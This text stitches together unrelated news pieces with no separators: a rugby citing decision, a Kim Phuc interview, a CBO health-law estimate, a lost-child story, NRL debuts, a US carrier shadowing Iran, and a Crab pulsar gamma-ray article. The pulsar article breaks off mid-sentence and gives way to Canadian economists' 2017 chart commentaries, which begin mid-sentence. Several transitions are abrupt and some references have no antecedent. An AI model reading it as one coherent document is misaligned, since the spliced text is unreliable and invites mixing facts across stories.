Rugby Football Union citing commissioner Wade Dooley has decided that no Northampton player had a case to answer following their defeat to Leicester on Saturday.
The incident occurred early in the match, with Youngs gesticulating furiously towards the Northampton front-row after a scrum broke up.
Youngs showed blood on his hand to the referee, Wayne Barnes, who referred the matter to the television match official, but footage proved inconclusive. Tighthead Salesi Ma’afu was propping alongside Hartley with Alex Waller on the other side. Northampton’s director of rugby, Jim Mallinder, said after the game that he would “speak to Dylan” about the matter, although that consultation could have been in his role as club captain.
Certainly Youngs made no named reference to Hartley and the pair briefly shook hands at the end of the match, with Hartley returning to the field at the final whistle with his shoulder strapped after being forced off in the 33rd minute.
The fact that there is previous contentious history between the players — Hartley was sent off in last season’s Aviva Premiership final after aiming an abusive tirade in the way of Youngs that was taken by referee Barnes to be directed at him — adds fuel to the story. Hartley has leapfrogged Youngs in the England rankings to claim the No 2 shirt.
All the elements conspired together again in that tempestuous opening.
Youngs was not hindered by the alleged bite and gave a typically robust performance before being replaced towards the end. After the initial uproar, Leicester were in no mood to continue pressing the charge afterwards. Their Director of rugby, Richard Cockerill, confirmed that the on-field allegation had taken place but that the club would not be taking it any further themselves.
Hartley did not go the distance in this game either, although his withdrawal from the action was due to the thudding blow he sustained on his shoulder rather than the impetuous meltdown that cost him so dearly last May at Twickenham. Northampton, as well as England, await medical updates on Monday with interest.
Whether Hartley’s presence would have made any difference to the outcome is unlikely. Warrior that he is on the field, and an influential figure with the Saints’ ranks, Leicester were in dominant form. Northampton did well to hang on in there and still have a chance of snatching victory in the very last play of the match. That finale was mired in controversy too, Barnes appearing to blow early despite eight seconds showing on the clock as the ball went into touch near the Leicester try-line. The Tigers were down to 13 men at this point with Ben Youngs and Vereniki Goneva both in the sin-bin. Small wonder that Northampton were angry at not having a crack at one last line-out.
They will have to gather themselves for they have had a worrying blip of form at just the wrong time. This was their third defeat in succession, their second in the league, and although they still have a seven-point advantage over Leicester in third place with four games remaining, they need to arrest the decline.
Their next Premiership match is away to league leaders Saracens and they also have to travel to fourth-placed Bath. The imminent return from injury of fly-half Stephen Myler will boost them, his young stand-in, Will Hooley, having a torrid afternoon with his kicking.
Northampton have enough of a margin for error to entertain the notion that they will have a home play-off semi-final. And that, tantalisingly, would probably be against Leicester.
The defending champions have come with a late charge. The return of Manu Tuilagi has added punch and directness while the storming contributions of lock forward Ed Slater has been a telling factor.
Slater has taken over the captaincy reins from Toulouse-bound fly-half Toby Flood and has flourished in the role. There is little doubt that Slater has added real depth to England’s second-row resources and as part of the Six Nations training squad has his eyes set now on making the England tour to New Zealand.
The lock was at the heart of this invigorating Leicester display. They were in control after Anthony Allen’s first half try, the unerring boot of impressive young Welsh fly-half Owen Williams, who didn’t miss a beat in landing five penalties and a conversion, aiding the cause significantly.
Yet they could not shake off Northampton who touched down just before half-time through Kahn Fotuali’i, with hopes of an upset raised through the 77th minute try from Ethan Waller.
Leicester survived and face the daunting trip to Clermont Auvergne next weekend for the Heineken Cup quarter-final in remarkably good heart. The French side have not lost at home in 73 matches.
“It is an opportunity to make history,” said Cockerill. Indeed.For most of the world, Kim Phuc is simply known as the "Napalm Girl," a 9-year-old running naked in Vietnam after having her clothes burned off her body by a napalm strike 40 years ago.
The picture of Phuc, taken by an Associated Press photographer on June 8, 1972, is famous in every corner of the world, but few know her name or whether she even survived.
An overflow crowd recently gathered at the Lobero Theatre in Santa Barbara hoping for a chance to hear the now 49-year-old woman speak.
Phuc has matured with grace and charm. She is a goodwill ambassador who is now comfortable telling her story.
Upon meeting her, I noticed she is always at ease, smiling and remarkably open. Our conversation started with the memory of that painful day 40 years ago in her small village of Trang Bang.
"I saw four bombs and I heard sounds, 'Boom, boom, boom, boom,' and suddenly fire everywhere around me and then the fire burnt off my clothes," Phuc said.
She said the pain is still a daily part of life. It never goes away. Her left arm, entire back and neck are all disfigured. There's horrible scarring to her skin, but even more so to her self esteem.
"Every time I touch it, I scare myself to death," she said. "That's why I thought I'd never have a boyfriend, get married or even have a baby - normal life."
As she candidly revealed, that world-famous photo only added to her misery.
"First time when I saw that, I wish that picture not taken because that little girl, I feel ugly and embarrassed," Phuc said.
She credits her faith in helping her heal and find happiness. Today, she is married and a mother of two.
"Now, as an adult, as a mom - I'm a mom - I learned that I'm so thankful that he took that picture," Phuc said.
She said she's thankful because the picture gave her purpose. She now travels the world, speaking on behalf of innocent victims of war.
"Being in her presence is like being with a monk, someone who has gone to the depths of her spiritual journey," said Alethea Parady, who runs Friendship Tours World Travel, a unique opportunity for high school students to visit historically important locations. "She exudes a humanity that one would think is scarcely possible considering the suffering she has endured."
I traveled with her students from Santa Barbara to Trang Bang, where the photo of Phuc was taken. Visiting Trang Bang gives young Southern Californians a much deeper understanding of what Phuc and her family had to live through in the war.
"Kids are naturally compassionate," Parady said. "When they see that photograph, they recognize themselves because she is a universal image of children."
In nearby Ho Chi Minh city, they visited a war museum where Phuc's photograph hangs along with many other images of the war. As they stared at Phuc's picture, its importance was much clearer.
"I have seen this picture countless times before we came on this trip, but the first time I saw it today I stared at it for 10 minutes because it was like a whole new picture after hearing Kim's story," said 16-year-old student Mica Zimmerman. "I had a whole new perspective of it. It's like a completely different picture."
The picture won the Pulitzer Prize for photographer Nick Ut.
Phuc is a gateway to understanding what war is, and providing that clarity to people around the world helps her chase her own pain away.
"I have rich spiritually, I have peace, I have joy. Like you see, I smile all the time," she said with a laugh.
In 1992 while on a honeymoon with her husband, they courageously defected while their plane was refueling in Canada. They have lived in Toronto ever since and she has devoted her life to helping children.
See photos of our visit to Trang Bang.President Obama’s health care law will push 7 million people out of their job-based insurance coverage — nearly twice the previous estimate, according to the latest estimates from the Congressional Budget Office released Tuesday.
CBO said that this year’s tax cuts have changed the incentives for businesses and made it less attractive to pay for insurance, meaning fewer will decide to do so. Instead, they’ll choose to pay a penalty to the government, totaling $13 billion in higher fees over the next decade.
SEE RELATED:
But the non-partisan agency also expects fewer people to have to pay individual penalties to the IRS than it earlier projects, because of a better method for calculating incomes that found more people will be exempt.
Overall, the new health provisions are expected to cost the government $1.165 trillion over the next decade — the same as last year’s projection.
With other spending cuts and tax increases called for in the health law, though, CBO still says Mr. Obama’s signature achievement will reduce budget deficits in the short term.
During the health care debate Mr. Obama had said individuals would be able to keep their plans.A 4-year-old girl was found all alone in the middle of the night in Northeast Philadelphia, and it turns out she ventured out on her own in search of a frozen treat.It all began around 3 a.m. Friday on Torresdale Avenue near Cottman in the Tacony neighborhood. That's where a man flagged down SEPTA's 56 bus, telling the driver about the little girl he found.SEPTA surveillance video shows little Annabelle stepping onto the bus wearing a purple coat and snow boots."Got to be kidding me! At this time, at 3 o'clock on the morning," said driver Harlan Jenifer said. "She's a small little thing. It kind of just shocked me."He called police while bus passengers comforted the child, who let them know what her early morning mission was."All I want is a slushie, that's all she said!" said Jenifer.Within an hour, little Annabelle was back with her shocked parents - and they've since reconfigured their door locks.Annabelle, however, seemed to be concerned that her slushie quest was interrupted."Mom, can you take me to Wawa and get me a slushie?" she asked her mother, Jaclyn Mager, while she talked to Action News later Friday."I will take you to Wawa and get you a slushie," Jaclyn responded. "But listen, promise me next time you'll wait for me, okay?""Yeah," Annabelle agreed, giving her mom a hug.Her father, Timothy Ridgeway, says it's only too easy to imagine how differently this could have turned out."My mind is wanting to go places, it's hard not to," said Ridgeway. "Thank God for the bus driver."Jaclyn said this will be Annabelle's first and last solo adventure. She repeatedly thanked all who helped bring her home safely."There are no words, he saved my daughter's life," she said of bus driver Harlan Jenifer."I'll be forever grateful."Sione Katoa and Chris Smith are set to make their NRL debuts when the Panthers tackle Newcastle Knights at Pepper Stadium on Saturday.
20-year-old hooker Katoa started the year with the Panthers NYC side but has played the majority of the season with the Penrith NSW Cup outfit, and even assumed the captaincy in recent weeks.
A local junior, Katoa has been a member of the Junior Kiwis side for the last two years and in June signed a new two-year deal with the Panthers.
Versatile forward Chris Smith, 21, played with the Panthers NYC side in 2013 and 2014, and has been a consistent performer for the NSW Cup team this season.
The former Australian Schoolboys representative grew up in Darwin and played for Penrith at the 2015 Auckland Nines tournament.Aboard the Theodore Roosevelt, a steady stream of military officials from the region have arrived to see the situation for themselves. A few weeks ago the Saudi defense minister, Deputy Crown Prince Mohammed bin Salman bin Abdulaziz al-Saud, got a standard tour of the flight deck and viewings of fighter jets screaming into the air, but Navy officials also took him into the combat direction center, a classified room deep in the carrier where operations specialists track Iran using an array of high-tech equipment.
Officers on the Roosevelt said there was less Iranian activity in the gulf in the weeks leading up to the conclusion of the nuclear deal in July, but all the officers said the slowdown was most likely because of Ramadan. After the deal was signed — and Ramadan ended — the officers said Iranian activity in the gulf picked up as Iran deployed more warships off the Iranian coast and increased its fighter jet flights.
“I don’t think things are any different now than they were before” the nuclear pact was signed, Rear Adm. Roy Kelley, the commander of the strike group aboard the Theodore Roosevelt, said in an interview on the ship’s bridge. “We have interactions every day with Iran. Fifty percent of the Persian Gulf coastline is Iran, so when they see us here, they come and check us out.”
He added that “for the most part, they’re professional.”
A few minutes later, an announcement sounded throughout the aircraft carrier: “Gun Quarters....Set Conditions Thunder” — something unknown was nearing the carrier, which, Captain Hewlett said, usually means an Iranian ship or aircraft.
It was in fact an Iranian ship, but it did not get close, and soon there was the all clear.
The constant watchfulness can make for heightened nerves. In April, just two days after the Roosevelt arrived in the Persian Gulf to relieve the aircraft carrier Carl Vinson, military officials ordered the ship to turn around and head to the waters off the coast of Yemen to block an Iranian convoy suspected of transporting weapons to Houthi fighters there. The Roosevelt, escorted by the guided missile cruiser Normandy, was soon passing through the Strait of Hormuz into the Arabian Sea and then south to the Arabian Peninsula.
On board, sailors realized that the world was watching to see who would blink first. “Us arriving and then turning around so soon was unusual,” said Cmdr. Andrew Strickland, the head of the Combat Direction Center on the Roosevelt. In the combat center, where much of the time is spent watching Iran, suddenly tactical officers were watching themselves — on television news reports about the drama unfolding as the Roosevelt moved to block the Iranian convoy. “It was definitely weird to suddenly be seeing your own ship on CNN,” said Lt. William Thomas, a tactical action officer who works in the combat center.
For the Obama administration, it was important to signal to skeptics that even though the United States was in the final stages of negotiating the nuclear deal with Iran, the administration would continue to back its regional allies against Iran — particularly Saudi Arabia, which was in the middle of a bombing campaign against the Houthis in Yemen that Saudi officials said was necessary to try to restore the ousted American-backed Yemeni government.Powerhouse in the Crab Nebula
MAGIC telescopes measure the highest-energy gamma rays from a pulsar to date, calling theory into question
The pulsar at the centre of the famous Crab Nebula is a veritable bundle of energy. This was now confirmed by the two MAGIC Telescopes on the Canary island of La Palma. They observed the pulsar in the very high energy gamma radiation from 25 up to 400 gigaelectronvolts (GeV), a region that was previously difficult to access with high energy instruments, and discovered that it actually emits pulses with the maximum measurable energy of up to 400 GeV – at least 50 to 100 times higher than theorists thought possible. These latest observations are difficult for astrophysicists to explain. "There must be processes behind this that are as yet unknown", says Razmik Mirzoyan, project head at the Max Planck Institute for Physics.
The neutron star in the Crab Nebula is one of the best known pulsars. It rotates around its own axis 30 times every second and has a magnetic field of 100 million Tesla, over a trillion times stronger than that of Earth. The pulsar powers the surrounding famous Crab Nebula, located about 6000 light-years from Earth in the constellation of Taurus. Both the pulsar and the nebula are remnants of a supernova which exploded in July 1054 AD and was visible to the naked eye even by daylight for 23 days.
Neutron stars are extremely dense spheres made of nuclear material. Their mass is similar to that of the sun, but they have diameters of just 20 kilometres. But what makes a neutron star a pulsar, of which astrophysicists have detected some 2000 in our Milky Way galaxy? Neutron stars have an extremely regular and very short rotation period or "day", ranging from one millisecond to ten seconds. While rotating, the star constantly emits charged particles, mainly electrons and positrons (positively charged electrons) and electromagnetic radiation.
These particles move along magnetic field lines that rotate at the same speed as the neutron star itself, giving off beams almost everywhere the electromagnetic spectrum, from radio wavelengths to gamma rays. If one of these beams crosses our line of sight, the star flashes up for a moment, just like the signal from a lighthouse.
In unterschiedlichem Licht betrachtet: Die Abbildung zeigt den Krebsnebel im optischen (links) und im Röntgenteleskop (Mitte) sowie eine grafische Darstellung des Pulsar-Magnetfelds (rechts). Die Lichtkurve (unten) gibt den periodischen Ausstoß von Gammastrahlen in einem Abstand von 0,0337 Sekunden wieder, das heißt, zwei Pulse pro Umdrehung. © NASA, ESA, J. Hester, A. Loll, CXC, SAO, F. Seward et al., MAGIC Collaboration In unterschiedlichem Licht betrachtet: Die Abbildung zeigt den Krebsnebel im optischen (links) und im Röntgenteleskop (Mitte) sowie eine grafische Darstellung des Pulsar-Magnetfelds (rechts). Die Lichtkurve (unten) gibt den periodischen Ausstoß von Gammastrahlen in einem Abstand von 0,0337 Sekunden wieder, das heißt, zwei Pulse pro Umdrehung. © NASA, ESA, J. Hester, A. Loll, CXC, SAO, F. Seward et al., MAGIC Collaboration
A few years ago, the MAGIC telescopes detected gamma rays of energy higher than 25 GeV from the Crab Pulsar. This was very unexpected since the available EGRET satellite data were showing that the spectrum ceases at much lower energies. However, at the very high energies MAGIC demonstrated to have few orders of magnitudes higher sensitivity compared to the satellite missions. At the time, scientists concluded that the radiation must be produced at least 60 kilometres above the surface of the neutron star. This is because the high-energy gamma rays are so effectively shielded by the star's magnetic field that a source very close to the star could not be detected. As a consequence that measurement ruled out one of the main theories on high energy gamma-ray emission from the Crab pulsar.
Now the data measured by MAGIC over the past two years show that the |
. I am not just talking about the oft-cited benefitting factors such the ‘fear-trade’ nor the political manoeuvres by Trump such as corporate repatriation and his fiscal stimulus policy. Beyond the justification of the interest-rate differentials, a real thematic rationale for current and future dollar strength is in play. Technically, the U.S. dollar could be setting up for a longer-term ‘breakout’ versus a basket of global currencies including the Canadian dollar. Rising rate expectations in the U.S. have caused the greenback to rally to levels not seen since the beginning of 2015. Simply put, changing the trajectory of the policy mix in the United States toward looser fiscal and tighter monetary policy is a classic setup for an appreciating currency and especially in a global sense where the rest of the world is not on that same trajectory. This strength will have a host of knock-on effects, from making oil (priced in dollars) more expensive to the rest of the world to pressuring emerging economies that have dollar-denominated debt. All of this could, over time, act as a braking mechanism on global growth, which isn’t exactly robust at the moment. As usual, the actual outcome will fall somewhere between, but investors need to keep an eye on these developments.”
Ottawa’s share of health spending Brian Lee Crowley, managing director, Macdonald-Laurier Institute. Twitter: @brianleecrowley
“The provinces and territories claim that Ottawa’s so-called cuts to health-care transfers will force them to ‘do more with less.’ Not so. Not only have federal health-care transfers grown by half over the past decade, the current trends will see Ottawa covering nearly 40 cents of every new dollar that provincial and territorial governments put into heath care. Ottawa is doing more than its share—unless of course the provinces plan to let spending rip and want Ottawa to pick up the growing tab. What to watch for in 2017: if provinces lose control of health spending, or if Ottawa caves on unjustified provincial demands to increase federal transfers.”
Fewer oil patch workers, but at the same wages
Todd Hirsch, chief economist, ATB Financial. Twitter: @ABeconomist “Canada’s energy sector—the previous powerhouse of the national economy—has suffered tumbling prices over the last two years. Oil companies have been scrambling to get their costs down and efficiencies up, but they’re doing this not by cutting wages, but by cutting headcount. Over the last two years, total employment in resource extraction is down almost 21 per cent (most of that in Alberta). But average weekly earnings—which are the highest in the country—continue to rise. Since 2011 they’re up an astounding 17 per cent. This tells us two things. The first is that Canada has lost a lot of very high paying jobs. That is taking a toll on the macro-economy, especially in the west. The second thing we learn is that energy companies are opting to cut staff, not wages. If you’re still employed by a Canadian oil company, you still enjoy the highest average earnings in the country.”
Women with young children in the labour force Tammy Schirle, Associate Professor, Wilfrid Laurier University. Twitter: @tammyschirle “It is difficult to describe the diverse work experience of mothers today. But it’s easy to see their experience has changed dramatically over the past 40 years. I’m thinking about how mother’s paid and unpaid work might change over the next 40 years, and what that means for policy. Large parts of our policy framework were designed in the 1960s and ’70s, when the majority of moms with young kids stayed away from paid work. Policies like CPP were designed to support that. But today, only 23 per cent of moms with kids age 3 to 5 are out of the labour force. Many choose to stay at home in unpaid work despite good job opportunities (29 per cent have a university degree); some would have difficulty covering child care costs; others will remain out of the labour force after their children are grown. All moms want others to recognize their work is important. But when should we require transfers—as taxes or benefits—from some mothers to others?”
Housing driven by the job market
Sherry Cooper, chief economist, Dominion Lending Centres. Twitter: @DrSherryCooper “This chart shows job creation in Canada’s major cities and explains why the housing markets have been the strongest in Vancouver and Toronto and their neighbouring exurbs and cities such as Victoria and Hamilton. In addition, foreign money pouring out of China, Russia and the hard-hit cities of Europe is buying homes in these two very attractive cities. I believe housing markets in both cities will slow in 2017 owing to government restrictions and regulatory changes in the mortgage markets, which are already under upward interest rate pressure.”
The burden of federal debt Aaron Wudrick, federal director, Canadian Taxpayers Federation. Twitter: @awudrick “We think this chart is important because it reflects the burden we are placing on future Canadian taxpayers. Even at record low interest rates, last year interest payments on our federal debt cost $26 billion—well more than we spent on national defence. Should interest rates rise, it could lead to billions more being spent on interest rather than programs and services.”
Divergence in the housing market Brendan LaCerda, economist, Moody’s Analytics “All eyes are on house prices going into 2017. New regulations on the mortgage market are coming into effect and their potency has been the subject of much speculation. Regulators appear committed to improving affordability while also avoiding a painful correction, but significant disparities in regional house price growth complicate federal-level policy-making. To see which metro areas are speeding up and which are slowing down, this chart compares the very recent performance against a longer measure, and use the 45-degree line as a cutoff. Ontario leads the way, Quebec and the Atlantic provinces lay in the middle, while the Prairies lag the rest of the nation. Weak energy and agricultural commodities prices have taken a toll on the Alberta and Saskatchewan economies and mortgage delinquencies are on the rise. A slower than expected recovery in commodity prices also heightens the risk of out-migration, putting additional downward pressure on real estate. Also attracting notice, Vancouver has broken from the pack. Up about 24 per cent year over year, prices have now stalled. A newly imposed tax on foreign purchases diminishes the international inflows that contributed to the city’s spiralling prices. While sharp declines will be avoided, we expect the boom times are over.”
Postponing golden years David Rosenberg, Gluskin Sheff and Associates
“If there is no retirement savings crisis in Canada, why is employment growth for the aging but not aged Boomers running at 6.5 per cent at a time when it is zero for everyone else? Answer: these folks have altered their calculations on when they can afford to leave the workforce because they need something they can’t get on their Greek cruise. In two words or less: cash flows.”
Shifting gears in the housing market Dawn Desjardins, deputy chief economist, RBC “Canada’s housing market is going to shift gears in 2017 after four years of strong gains that pushed sales in 2016 to a record level on the back of regulatory changes enacted by both the federal and some provincial governments. One change we expect to be influential is the federal government’s decision to tighten the mortgage-insurance qualifying requirement in October. In and of itself, we expect this will cut home resales by close to eight per cent relative to our previous forecast and slow the pace of price increase by approximately 0.5 percentage points in 2017. We now expect home resales to fall by 11.5 per cent and the pace of price increase to slow to 1.6 per cent, a fraction of the 9.5 per cent jump in prices recorded in 2016. The impact will vary across the country—with the more significant effect on home resales being felt in high-priced markets in Ontario and British Columbia. There are risks that activity will be even weaker if interest rates continue to rise aggressively should the introduction of fiscal stimulus south of the border drive inflation expectations and U.S. rates up—Canadian rates may go along for the ride.”
Comparing housing markets to other G8 cities
James Price, director of capital markets products, Richardson GMP. Twitter: @JP_RGMP
“For all the talk of a housing bubble in Canada (Vancouver and Toronto, at least), it is important to note that living in any major G8 city—particularly its primary or secondary financial centre—is an expensive undertaking. We chose to add Australia to the G8 to highlight our similar resource-driven export economies, both of whom face the problem of “exporting” secondary homes to foreign buyers. While we don’t dismiss the possibility that over-leveraged households (a product of low rates) and rapid price expansion has led to overheated markets that would suffer in the face of higher rates or unemployment, the calls for crashes in housing because they are no longer affordable to the locals simply doesn’t hold. “
Will real wages keep rising?
Stephen Gordon, Laval University. Twitter: @stephenfgordon
“After decades of stagnation, workers saw healthy increases in real earnings during the resource boom of the early 2000s. Wage growth has slowed since the global financial crisis, but has remained positive. If Canada has been an oasis of political stability over the past few years, this trend of broad-based increases in workers’ purchasing power is at least partially responsible. The concern is what happens next, in a world with low commodity prices, a weak Canadian dollar and heightened worries about international trade. Will real wages in Canada keep rising? And if they don’t, what will be the political fallout?”
Hidden risks for Canadian investors Alexander MacDonald, investment analyst, Cowan Asset Management. Twitter: @alex_macdonald “Much attention has been paid to the risks facing indebted Canadian households and their booming home prices. Some attention has been paid to the risks facing Canadian banks if these loans aren’t repaid. What’s receiving less attention, however, is how these risks could affect Canadian investors—including investors who may not be indebted, nor own a home, nor own bank shares directly in their portfolios. The S&P/TSX Composite Index, which many Canadian investment funds track, offers little diversification: the financials, energy, and materials sectors represent the majority of its companies. The weighting of these sectors within the index fluctuates with the underlying industries’ boom-and-bust cycles of profitability. Historically, when one of these sectors’ weightings set new highs, it signalled that industry’s peak profitability. As the chart illustrates, this happened with oil in 2008 and gold in 2011. Earlier this year, growth in household debt helped drive financials’ weighting to new highs. For more evidence of how reliant the average investor has become on the Canadian lenders, 55 per cent of the index’s trailing earnings are now contributed by the banks; this is just shy of the all-time high of 57 per cent.”
Where Canada’s exports go
Paul Boothe, managing director, Trillium Network for Advanced Manufacturing. Twitter: @pmboothe “We are watching the level and destination of real manufacturing exports for two reasons: First, with depressed energy prices, manufacturing now has a critical role to play in supporting Canadian growth. Second, foreign markets, especially in emerging economies, are where potential sales can really grow. With heightened uncertainty around U.S. trade policy, now is the time for Canada to diversify its sales and capture a growing share of emerging market customers.”
The competitive threat of higher carbon prices
Laura Dawson, director of the Canada Institute at the Wilson Center. Twitter: @DawsonCanada “The coverage-weighted carbon price takes the carbon price set by provinces or states through carbon taxes or cap-and-trade systems and then factors in the share of total provincial/state emissions to which the marginal carbon price applies. If a province/state has a high carbon price and a broad coverage, the price tag will be higher across the board. By 2030, Alberta will have the highest carbon costs in North America. (Note: While there are many unknowns regarding implementation and the effects of new policies, the general trend is clear.) The Canadian provinces of Alberta, B.C., Ontario, and Quebec have been early leaders in carbon pricing. Only California has similarly stringent policies. The RGGI states of Connecticut, Delaware, Maine, Maryland, Massachusetts, New Hampshire, New York, Rhode Island, and Vermont have made much more modest commitments. Out of 50 U.S. states, only the nine RGGI states plus California have instituted a carbon pricing mechanism that will have an impact similar to Canada’s on industrial production. While some industries may be able to offset the costs through investment in low-carbon technologies and offsets from governments, emissions intensive industries such as glass, steel, metals, pulp and paper and chemicals will find it more difficult to adjust. Unless carbon prices can be equalized across borders, we can expect production and investment to move from higher-priced to lower priced carbon jurisdictions.”
U.S. stocks now outperforming Canadian stocks JP Koning, Moneyness. Twitter: @jp_koning “After a decade of underperformance, U.S. 10-year stock market returns (in Canadian dollar terms) overtook Canadian returns in 2015, a trend that continued in 2016. Looking at the chart above, it’s worth keeping in mind that return differentials between U.S. and Canadian stocks have been quite persistent going back to the ’70s. Long-term Canadian equity returns beat U.S. returns from 1970 to the early 1980s, came short between 1982 and 2005, began to outperform in 2005, and reversed again 10 years later. Comparative returns are affected by changes in nominal stock prices as well as fluctuations in the U.S.-Canadian exchange rate. For instance, long-term stock performance between 2005 and 2015 favoured Canadian stocks thanks to the combination of a weak U.S. dollar, which depressed the returns of U.S stocks in Canadian portfolios, and strong commodity prices, which buoyed the resource-heavy Canadian equity market. Weakness in commodity prices and a strong U.S. dollar have now led to a reversal.”
Canada can’t shake off the slowth Armine Yalnizyan, senior economist, Canadian Centre for Policy Alternatives. Twitter: @ArmineYalnizyan “What makes an economy grow? Rising purchasing power. If people can’t buy more, businesses can’t sell more. Historically, central banks, politicians and economists looked to rises and falls in unemployment and inflation rates to gauge the health of an economy. Now, though the United States and the United Kingdom are at “full employment” and inflation hasn’t been seen for years (except for the costs of housing and post-secondary education), the economy is far from firing on all cylinders. This phenomenon is not limited to the U.S. and the U.K. The global economy is gripped in an era of slowth (slow and slowing growth). Concern everywhere has shifted to stubbornly low, or even negative, wage growth, even though economies are not in recession. Canada is not immune to these trends. My chart to watch for 2017 is the progression of wage growth. This chart shows growth in average hourly earnings for salaried and hourly employees, which over time has become more representative of trends in higher-earning occupations. Average growth also tends to mask important distinctions in trends for employees of different age groups. Finally, over the past decade or so, the national average has also been bolstered by strong wage growth from Alberta, a result of the rapid expansion of the energy sector. Absent this growth, we see a troubling trend. In nominal terms, average hourly wages have grown since the recession, but flatlined for hourly employees since 2013. Adjusted for inflation, they are losing ground. Salaried employees look poised to join them. While innovation and technology play an important role in advancing economic potential, it is difficult to achieve economic growth without growing purchasing power, given that most economies are primarily fuelled by domestic consumption. If wage-led growth becomes difficult to achieve, it will be hard to shake off slowth. “
Supply and demand drive Canada’s housing market Will Dunning, chief economist, Mortgage Professionals Canada. Twitter: @LooseCannonEcon “Basic economic theory tells us that prices are determined by the balance between supply and demand. This is demonstrated time after time for Canada, and its regions, by the resale housing market. Changes in the sales-to-new-listings ratio (“SNLR”) do a good job of explaining variations in house price growth. For Canada as a whole, a high ratio is resulting in rapid price rises. But conditions vary across the country. A few major cities have high ratios and rapid growth of house prices. Many communities have lower ratios and slower price growth.”
What Trump means for Canadian trade George Pearkes, macro strategist, Bespoke Investment Group. Twitter: @pearkes “With the newly elected Trump administration likely to focus acutely on trade given the available executive powers it will have without new legislation, the enormous bilateral trade relationship between the U.S. and Canada could be a source of great concern for Canadians. However, it’s important to realize that unlike many U.S. trading partners, Canada is an important export market for the United States. While the third-largest source of imports for the U.S. (12.7 per cent of total imports), over 18 per cent of U.S. exports go to Canada. While Mexico holds similar rankings, the U.S. goods trade balance with Canada is only US$5.8 billion year-to-date per the U.S. Census. That makes Canada a much lower priority for the neo-mercantilist rhetoric of the new administration. It’s also worth noting that while NAFTA has received all of the trade rhetoric within North America, Canada and the United States have an older free trade agreement (Canada-US Free Trade Agreement, 1987) that would require repeal independent of NAFTA. Therefore while countries who enjoy large trade surpluses with the U.S. have much to fear, Canada is in a relatively strong position versus other nations when it comes to potential crackups in U.S. trade relationships.”
Strong evidence of problematic housing market condition Bob Dugan, chief economist, Canada Mortgage and Housing Corp. “There are imbalances in a number of housing markets across the country. We detect overvaluation in many markets, most notably in Toronto and Vancouver, where we also detect price acceleration. Furthermore, the upward pressure on house prices is spreading to neighbouring communities around these two centres. The vulnerabilities in the housing markets are important to monitor because they have the potential to amplify the impacts of a downturn in the economy should one occur.”
Can Canada meet its emissions targets? Andrew Leach, associate professor at the University of Alberta’s School of Business. Twitter: @andrew_leach I’m going to pick this graph from Dave Sawyer and Chris Bataille. This chart shows that, even with present policies including the Alberta Climate Leadership Plan, the federal government still has a long way to go to meet Canada’s targets. It’s possible to meet them, as analysis by Mark Jaccard and others recently has shown, but it will require much more stringent policies than we have in place today. 2017 should be the year we see whether the government of Prime Minister Trudeau can enact the policies to bend our emissions curve and allow us to meet our targets.
The trouble with new vehicle financing Preet Banerjee, author. Twitter: @preetbanerjee “New vehicle loans with amortizations of five years and under are declining while extended-term loans (six years and longer) are becoming the norm. For those who are upside-down on their existing auto loans, they’ve been averaging 35 per cent negative equity for the last three years at time of trade in, which is scary in and of itself. But perhaps even more interesting, according to Robert Karwel, senior manager of automotive practice in Canada at J.D. Power, is the declining positive equity at trade-in (red dashed line in chart). This is despite the trend of consumers trading in cars with lower mileage and higher market values. This means consumers are returning to market with ever decreasing buying power and it can pretty much be completely explained by the shift to super-amortized car loans. Watch this space.”
Inflation could rear its head in 2017 Barry Schwartz, Baskin Financial. Twitter: @BarrySchwartzBW “Unlike the U.S. Federal Reserve, which has a dual mandate of maximizing employment and stabilizing prices, the Bank of Canada core focus is on controlling inflation. Inflation in Canada could start to rear its ugly head in 2017. Commodity prices have stabilized and could start to rise thanks to improving worldwide economies and cuts in global oil production. With a low Canadian dollar, Canadian importers are faced with rising prices to bring goods into Canada. Importers may have no choice but to pass on these price increase to consumers. While Canada’s inflation rate has been tame staying under two per cent for many quarters, the Bank of Canada may be forced to take action in 2017 to combat inflation risks.”
Risk is building in the housing market Kevin Page, president of the Institute of Fiscal Studies and Democracy, University of Ottawa “Most Canadians understand from experience how important the cost of housing is to their financial well-being. Notwithstanding low mortgage rates, high and increasing housing prices in some of Canada’s major cities have received due attention. Young Canadians worry about their ability to buy into the housing market. Faced with high mortgage payments, families worry about their ability to stretch their budgets to cover essentials. Mayors are concerned about the viability and attractiveness of their cities. Policy-makers and bankers worry about the risks to the financial system and economy from abrupt changes to the housing market. The housing affordability index is the ratio of the average quarterly mortgage payment to the average quarterly income. The higher the level of index, the more difficult it is to afford a home. The chart above shows that sharp and sustained increases in this index preceded significant economic recessions in the 1980s, 1990s and the 2008 global financial crisis (recession periods are marked). The index has been trending up over the past three years. Risk is building. Household budgets are stretched and vulnerable to unexpected interest rate increases.”
Services will lead Canada’s economy Ian Lee, associate professor, Sprott School of Business, Carleton University “While the Government of Canada and the Government of Ontario twist themselves into gordian knots of policy impossibility trying to ‘save’ manufacturing from itself, automation and a lack of competitiveness in unit labour costs relative to the U.S. and Mexico, the Canadian economy reveals the answer is in front of our nose. The service sector has grown steadily for over 70 years since the end of the Second World War and is now becoming the engine of growth and exports for Canada.”
The fear of runaway deficits and electricity prices in Ontario Allan Gregory, professor of economics, Queen’s University. Twitter: @awg_allan “In this chart ‘Deficit’ is measured in billions of dollars and reflects the projections contained in the April 2016 Ontario Budget document. Meanwhile ‘On Peak Hydro’ is a forecast of Ontario electricity prices (HOEP which includes the hours ending at 8 a.m. through 11 p.m.) in dollars per Mwh and done on behalf of Ontario Energy Board (OEB) by Navigant (April 2016). These two items are highlighted as concerns by many Ontarians who fear runaway deficits and higher electric bills. The two have a direct connection with the partial sale of Hydro One to the private sector providing additional government revenue. Attaining both of these forecasts in 2017 might require some divine intervention which can loosely be associated with miracles.”
